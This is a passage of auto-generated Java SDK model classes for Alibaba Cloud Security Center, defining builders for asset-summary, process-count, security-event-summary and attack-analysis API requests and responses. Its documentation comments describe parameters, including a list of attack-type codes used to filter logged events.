* @return totalCoreNum
*/
public Integer getTotalCoreNum() {
return this.totalCoreNum;
}
public static final class Builder {
private Integer totalAssetAllRegion;
private Integer totalCoreAllRegion;
private Integer totalCoreNum;
private Builder() {
}
private Builder(AssetsSummary model) {
this.totalAssetAllRegion = model.totalAssetAllRegion;
this.totalCoreAllRegion = model.totalCoreAllRegion;
this.totalCoreNum = model.totalCoreNum;
}
/**
* <p>The total number of protected assets in all regions.</p>
* <blockquote>
* <p> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see <a href="https://help.aliyun.com/document_detail/42302.html">What is Security Center?</a></p>
* </blockquote>
*
* <strong>example:</strong>
* <p>2064</p>
*/
public Builder totalAssetAllRegion(Integer totalAssetAllRegion) {
this.totalAssetAllRegion = totalAssetAllRegion;
return this;
}
/**
* <p>The total number of cores of protected assets in all regions.</p>
* <blockquote>
* <p> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see <a href="https://help.aliyun.com/document_detail/42302.html">What is Security Center?</a></p>
* </blockquote>
*
* <strong>example:</strong>
* <p>3200</p>
*/
public Builder totalCoreAllRegion(Integer totalCoreAllRegion) {
this.totalCoreAllRegion = totalCoreAllRegion;
return this;
}
/**
* <p>The total number of cores of protected assets in the current region.</p>
* <blockquote>
* <p> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see <a href="https://help.aliyun.com/document_detail/42302.html">What is Security Center?</a></p>
* </blockquote>
*
* <strong>example:</strong>
* <p>1022</p>
*/
public Builder totalCoreNum(Integer totalCoreNum) {
this.totalCoreNum = totalCoreNum;
return this;
}
public AssetsSummary build() {
return new AssetsSummary(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsScaProcessNumRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsScaProcessNumRequest} extends {@link RequestModel}
*
* <p>DescribeAssetsScaProcessNumRequest</p>
*/
public class DescribeAssetsScaProcessNumRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("BizType")
private String bizType;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("UuidList")
@com.aliyun.core.annotation.Validation(required = true)
private java.util.List<String> uuidList;
private DescribeAssetsScaProcessNumRequest(Builder builder) {
super(builder);
this.bizType = builder.bizType;
this.uuidList = builder.uuidList;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetsScaProcessNumRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return bizType
*/
public String getBizType() {
return this.bizType;
}
/**
* @return uuidList
*/
public java.util.List<String> getUuidList() {
return this.uuidList;
}
public static final class Builder extends Request.Builder<DescribeAssetsScaProcessNumRequest, Builder> {
private String bizType;
private java.util.List<String> uuidList;
private Builder() {
super();
}
private Builder(DescribeAssetsScaProcessNumRequest request) {
super(request);
this.bizType = request.bizType;
this.uuidList = request.uuidList;
}
/**
* <p>The type of the application process. Default value: java. Valid values:</p>
* <ul>
* <li><strong>java</strong></li>
* <li><strong>php</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>java</p>
*/
public Builder bizType(String bizType) {
this.putQueryParameter("BizType", bizType);
this.bizType = bizType;
return this;
}
/**
* <p>The UUIDs of the servers.</p>
* <p>This parameter is required.</p>
*/
public Builder uuidList(java.util.List<String> uuidList) {
this.putQueryParameter("UuidList", uuidList);
this.uuidList = uuidList;
return this;
}
@Override
public DescribeAssetsScaProcessNumRequest build() {
return new DescribeAssetsScaProcessNumRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsScaProcessNumResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsScaProcessNumResponse} extends {@link TeaModel}
*
* <p>DescribeAssetsScaProcessNumResponse</p>
*/
public class DescribeAssetsScaProcessNumResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAssetsScaProcessNumResponseBody body;
private DescribeAssetsScaProcessNumResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAssetsScaProcessNumResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAssetsScaProcessNumResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAssetsScaProcessNumResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAssetsScaProcessNumResponseBody body);
@Override
DescribeAssetsScaProcessNumResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAssetsScaProcessNumResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAssetsScaProcessNumResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAssetsScaProcessNumResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAssetsScaProcessNumResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAssetsScaProcessNumResponse build() {
return new DescribeAssetsScaProcessNumResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsScaProcessNumResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsScaProcessNumResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetsScaProcessNumResponseBody</p>
*/
public class DescribeAssetsScaProcessNumResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private java.util.List<Data> data;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAssetsScaProcessNumResponseBody(Builder builder) {
this.data = builder.data;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetsScaProcessNumResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public java.util.List<Data> getData() {
return this.data;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<Data> data;
private String requestId;
private Builder() {
}
private Builder(DescribeAssetsScaProcessNumResponseBody model) {
this.data = model.data;
this.requestId = model.requestId;
}
/**
* <p>The statistical results.</p>
*/
public Builder data(java.util.List<Data> data) {
this.data = data;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>ACF97412-FD09-4D1F-994F-34DF12BREF20</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAssetsScaProcessNumResponseBody build() {
return new DescribeAssetsScaProcessNumResponseBody(this);
}
}
/**
*
* {@link DescribeAssetsScaProcessNumResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetsScaProcessNumResponseBody</p>
*/
public static class Data extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private Data(Builder builder) {
this.count = builder.count;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static Data create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private Integer count;
private String uuid;
private Builder() {
}
private Builder(Data model) {
this.count = model.count;
this.uuid = model.uuid;
}
/**
* <p>The number of Java processes.</p>
* <blockquote>
* <p> If no processes exist on the asset, no statistical result is returned.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The UUID of the asset.</p>
* <blockquote>
* <p> If no processes exist on the asset, no statistical result is returned.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>6690a46c-0edb-4663-a641-3629d1a9****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public Data build() {
return new Data(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsSecurityEventSummaryRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsSecurityEventSummaryRequest} extends {@link RequestModel}
*
* <p>DescribeAssetsSecurityEventSummaryRequest</p>
*/
public class DescribeAssetsSecurityEventSummaryRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ClusterId")
private String clusterId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ContainerFieldName")
private String containerFieldName;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ContainerFieldValue")
private String containerFieldValue;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceOwnerId")
private Long resourceOwnerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
private DescribeAssetsSecurityEventSummaryRequest(Builder builder) {
super(builder);
this.clusterId = builder.clusterId;
this.containerFieldName = builder.containerFieldName;
this.containerFieldValue = builder.containerFieldValue;
this.resourceOwnerId = builder.resourceOwnerId;
this.sourceIp = builder.sourceIp;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetsSecurityEventSummaryRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return clusterId
*/
public String getClusterId() {
return this.clusterId;
}
/**
* @return containerFieldName
*/
public String getContainerFieldName() {
return this.containerFieldName;
}
/**
* @return containerFieldValue
*/
public String getContainerFieldValue() {
return this.containerFieldValue;
}
/**
* @return resourceOwnerId
*/
public Long getResourceOwnerId() {
return this.resourceOwnerId;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
public static final class Builder extends Request.Builder<DescribeAssetsSecurityEventSummaryRequest, Builder> {
private String clusterId;
private String containerFieldName;
private String containerFieldValue;
private Long resourceOwnerId;
private String sourceIp;
private Builder() {
super();
}
private Builder(DescribeAssetsSecurityEventSummaryRequest request) {
super(request);
this.clusterId = request.clusterId;
this.containerFieldName = request.containerFieldName;
this.containerFieldValue = request.containerFieldValue;
this.resourceOwnerId = request.resourceOwnerId;
this.sourceIp = request.sourceIp;
}
/**
* <p>The ID of the cluster to which the container belongs.</p>
* <blockquote>
* <p>You can call the <a href="~~DescribeGroupedContainerInstances~~">DescribeGroupedContainerInstances</a> operation to query the IDs of clusters.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>cc58f827d893f4d7fb3e34b5d4395****</p>
*/
public Builder clusterId(String clusterId) {
this.putQueryParameter("ClusterId", clusterId);
this.clusterId = clusterId;
return this;
}
/**
* <p>The key of the condition that is used to query on containers. Valid values:</p>
* <ul>
* <li><strong>instanceId</strong>: the ID of the container instance</li>
* <li><strong>clusterId</strong>: the ID of the cluster</li>
* <li><strong>regionId</strong>: the region ID of the container</li>
* <li><strong>clusterName</strong>: the name of the cluster</li>
* <li><strong>image</strong>: the name of the image</li>
* <li><strong>imageRepoName</strong>: the name of the image repository</li>
* <li><strong>imageRepoNamespace</strong>: the namespace to which the image repository belongs</li>
* <li><strong>imageRepoTag</strong>: the tag that is added to the image repository</li>
* <li><strong>imageDigest</strong>: the digest of the image</li>
* <li><strong>ClusterType</strong>: the type of the cluster</li>
* <li><strong>hostIp</strong>: the public IP address</li>
* <li><strong>pod</strong>: the pod</li>
* <li><strong>podIp</strong>: the IP address of the pod</li>
* <li><strong>containerId</strong>: the ID of the container</li>
* <li><strong>vulStatus</strong>: whether vulnerabilities are detected on the container</li>
* <li><strong>alarmStatus</strong>: whether alerts are generated for the container</li>
* <li><strong>riskStatus</strong>: whether risks are detected on the container</li>
* <li><strong>riskLevel</strong>: the risk level of the container</li>
* <li><strong>containerScope</strong>: the type of the container</li>
* </ul>
*
* <strong>example:</strong>
* <p>clusterName</p>
*/
public Builder containerFieldName(String containerFieldName) {
this.putQueryParameter("ContainerFieldName", containerFieldName);
this.containerFieldName = containerFieldName;
return this;
}
/**
* <p>The value of the condition that is used to query on containers.</p>
*
* <strong>example:</strong>
* <p>arms-prom-operator</p>
*/
public Builder containerFieldValue(String containerFieldValue) {
this.putQueryParameter("ContainerFieldValue", containerFieldValue);
this.containerFieldValue = containerFieldValue;
return this;
}
/**
* ResourceOwnerId.
*/
public Builder resourceOwnerId(Long resourceOwnerId) {
this.putQueryParameter("ResourceOwnerId", resourceOwnerId);
this.resourceOwnerId = resourceOwnerId;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>113.108.XX.XX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
@Override
public DescribeAssetsSecurityEventSummaryRequest build() {
return new DescribeAssetsSecurityEventSummaryRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsSecurityEventSummaryResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsSecurityEventSummaryResponse} extends {@link TeaModel}
*
* <p>DescribeAssetsSecurityEventSummaryResponse</p>
*/
public class DescribeAssetsSecurityEventSummaryResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAssetsSecurityEventSummaryResponseBody body;
private DescribeAssetsSecurityEventSummaryResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAssetsSecurityEventSummaryResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAssetsSecurityEventSummaryResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAssetsSecurityEventSummaryResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAssetsSecurityEventSummaryResponseBody body);
@Override
DescribeAssetsSecurityEventSummaryResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAssetsSecurityEventSummaryResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAssetsSecurityEventSummaryResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAssetsSecurityEventSummaryResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAssetsSecurityEventSummaryResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAssetsSecurityEventSummaryResponse build() {
return new DescribeAssetsSecurityEventSummaryResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetsSecurityEventSummaryResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetsSecurityEventSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetsSecurityEventSummaryResponseBody</p>
*/
public class DescribeAssetsSecurityEventSummaryResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Assets")
private java.util.List<Assets> assets;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAssetsSecurityEventSummaryResponseBody(Builder builder) {
this.assets = builder.assets;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetsSecurityEventSummaryResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return assets
*/
public java.util.List<Assets> getAssets() {
return this.assets;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<Assets> assets;
private String requestId;
private Builder() {
}
private Builder(DescribeAssetsSecurityEventSummaryResponseBody model) {
this.assets = model.assets;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of risk information about containers.</p>
*/
public Builder assets(java.util.List<Assets> assets) {
this.assets = assets;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>D03DD0FD-6041-5107-AC00-383E28F1****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAssetsSecurityEventSummaryResponseBody build() {
return new DescribeAssetsSecurityEventSummaryResponseBody(this);
}
}
/**
*
* {@link DescribeAssetsSecurityEventSummaryResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetsSecurityEventSummaryResponseBody</p>
*/
public static class Assets extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetType")
private String assetType;
@com.aliyun.core.annotation.NameInMap("RiskCount")
private Long riskCount;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Long totalCount;
private Assets(Builder builder) {
this.assetType = builder.assetType;
this.riskCount = builder.riskCount;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static Assets create() {
return builder().build();
}
/**
* @return assetType
*/
public String getAssetType() {
return this.assetType;
}
/**
* @return riskCount
*/
public Long getRiskCount() {
return this.riskCount;
}
/**
* @return totalCount
*/
public Long getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private String assetType;
private Long riskCount;
private Long totalCount;
private Builder() {
}
private Builder(Assets model) {
this.assetType = model.assetType;
this.riskCount = model.riskCount;
this.totalCount = model.totalCount;
}
/**
* <p>The type of the asset. Valid values:</p>
* <ul>
* <li><strong>namespace</strong></li>
* <li><strong>clusters</strong></li>
* <li><strong>applications</strong></li>
* <li><strong>pods</strong></li>
* <li><strong>containers</strong></li>
* <li><strong>images</strong></li>
* <li><strong>hosts</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>namespace</p>
*/
public Builder assetType(String assetType) {
this.assetType = assetType;
return this;
}
/**
* <p>The number of potential risky assets.</p>
*
* <strong>example:</strong>
* <p>16</p>
*/
public Builder riskCount(Long riskCount) {
this.riskCount = riskCount;
return this;
}
/**
* <p>The total number of assets.</p>
*
* <strong>example:</strong>
* <p>30</p>
*/
public Builder totalCount(Long totalCount) {
this.totalCount = totalCount;
return this;
}
public Assets build() {
return new Assets(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttackAnalysisDataRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttackAnalysisDataRequest} extends {@link RequestModel}
*
* <p>DescribeAttackAnalysisDataRequest</p>
*/
public class DescribeAttackAnalysisDataRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Base64")
private String base64;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Data")
private String data;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("EndTime")
@com.aliyun.core.annotation.Validation(required = true)
private Long endTime;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("StartTime")
@com.aliyun.core.annotation.Validation(required = true)
private Long startTime;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Type")
@com.aliyun.core.annotation.Validation(required = true)
private String type;
private DescribeAttackAnalysisDataRequest(Builder builder) {
super(builder);
this.base64 = builder.base64;
this.currentPage = builder.currentPage;
this.data = builder.data;
this.endTime = builder.endTime;
this.lang = builder.lang;
this.pageSize = builder.pageSize;
this.startTime = builder.startTime;
this.type = builder.type;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAttackAnalysisDataRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return base64
*/
public String getBase64() {
return this.base64;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return data
*/
public String getData() {
return this.data;
}
/**
* @return endTime
*/
public Long getEndTime() {
return this.endTime;
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return startTime
*/
public Long getStartTime() {
return this.startTime;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
public static final class Builder extends Request.Builder<DescribeAttackAnalysisDataRequest, Builder> {
private String base64;
private Integer currentPage;
private String data;
private Long endTime;
private String lang;
private Integer pageSize;
private Long startTime;
private String type;
private Builder() {
super();
}
private Builder(DescribeAttackAnalysisDataRequest request) {
super(request);
this.base64 = request.base64;
this.currentPage = request.currentPage;
this.data = request.data;
this.endTime = request.endTime;
this.lang = request.lang;
this.pageSize = request.pageSize;
this.startTime = request.startTime;
this.type = request.type;
}
/**
* <p>Specifies whether to encode the value of the <strong>client_url</strong> field in the query results by using the Base64 algorithm. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder base64(String base64) {
this.putQueryParameter("Base64", base64);
this.base64 = base64;
return this;
}
/**
* <p>The number of the page to return. Pages start from page <strong>1</strong>.</p>
* <blockquote>
* <p> If the Type parameter is set to <strong>DETAILS</strong>, you must specify the CurrentPage parameter.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The condition that is used to filter attack events.</p>
* <blockquote>
* <p> The following list describes the valid values of crack_type:</p>
* </blockquote>
* <ul>
* <li><p>3: brute-force attack on MySQL</p>
* </li>
* <li><p>4: FTP brute-force attack</p>
* </li>
* <li><p>5: SSH brute-force attack</p>
* </li>
* <li><p>6: RDP brute-force attack</p>
* </li>
* <li><p>9: brute-force attack on Microsoft SQL Server</p>
* </li>
* <li><p>101: intercepted attack on Java Struts 2</p>
* </li>
* <li><p>102: intercepted attack on Redis</p>
* </li>
* <li><p>103: communication with AntSword Webshell</p>
* </li>
* <li><p>104: communication with China Chopper Webshell</p>
* </li>
* <li><p>133: communication with XISE Webshell</p>
* </li>
* <li><p>sqli: SQL injection</p>
* </li>
* <li><p>codei: code execution</p>
* </li>
* <li><p>xss: cross-site scripting (XSS)</p>
* </li>
* <li><p>lfi: local file inclusion</p>
* </li>
* <li><p>rfi: remote file inclusion</p>
* </li>
* <li><p>webshell: trojan script</p>
* </li>
* <li><p>upload: vulnerability upload</p>
* </li>
* <li><p>path: directory traversal</p>
* </li>
* <li><p>bypass: unauthorized access</p>
* </li>
* <li><p>csrf: cross-site request forgery (CSRF)</p>
* </li>
* <li><p>crlf: carriage return line feed (CRLF)</p>
* </li>
* <li><p>other: others</p>
* </li>
* </ul>
*
* <strong>example:</strong>
* <p>{"crack_type":"9"}</p>
*/
public Builder data(String data) {
this.putQueryParameter("Data", data);
this.data = data;
return this;
}
/**
* <p>The timestamp when the attack stops. Unit: seconds.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1649040221</p>
*/
public Builder endTime(Long endTime) {
this.putQueryParameter("EndTime", endTime);
this.endTime = endTime;
return this;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The number of entries to return on each page.</p>
* <blockquote>
* <p> If the Type parameter is set to <strong>DETAILS</strong>, you must specify the PageSize parameter.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The timestamp at which the attack starts. By default, the statistics of the previous seven days are queried. Unit: seconds.</p>
* <blockquote>
* <p> The start time that you specify must be within the previous 40 days.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1644027670</p>
*/
public Builder startTime(Long startTime) {
this.putQueryParameter("StartTime", startTime);
this.startTime = startTime;
return this;
}
/**
* <p>The details of attack analysis. Valid values:</p>
* <ul>
* <li><strong>TOTAL</strong>: number of attacks</li>
* <li><strong>TREND</strong>: attack trend</li>
* <li><strong>PIE_CHART</strong>: distribution of attacks by type</li>
* <li><strong>SOURCE_TOP</strong>: top 5 attack sources</li>
* <li><strong>CLIENT_TOP</strong>: top 5 attacked assets</li>
* <li><strong>DETAILS</strong>: attack details</li>
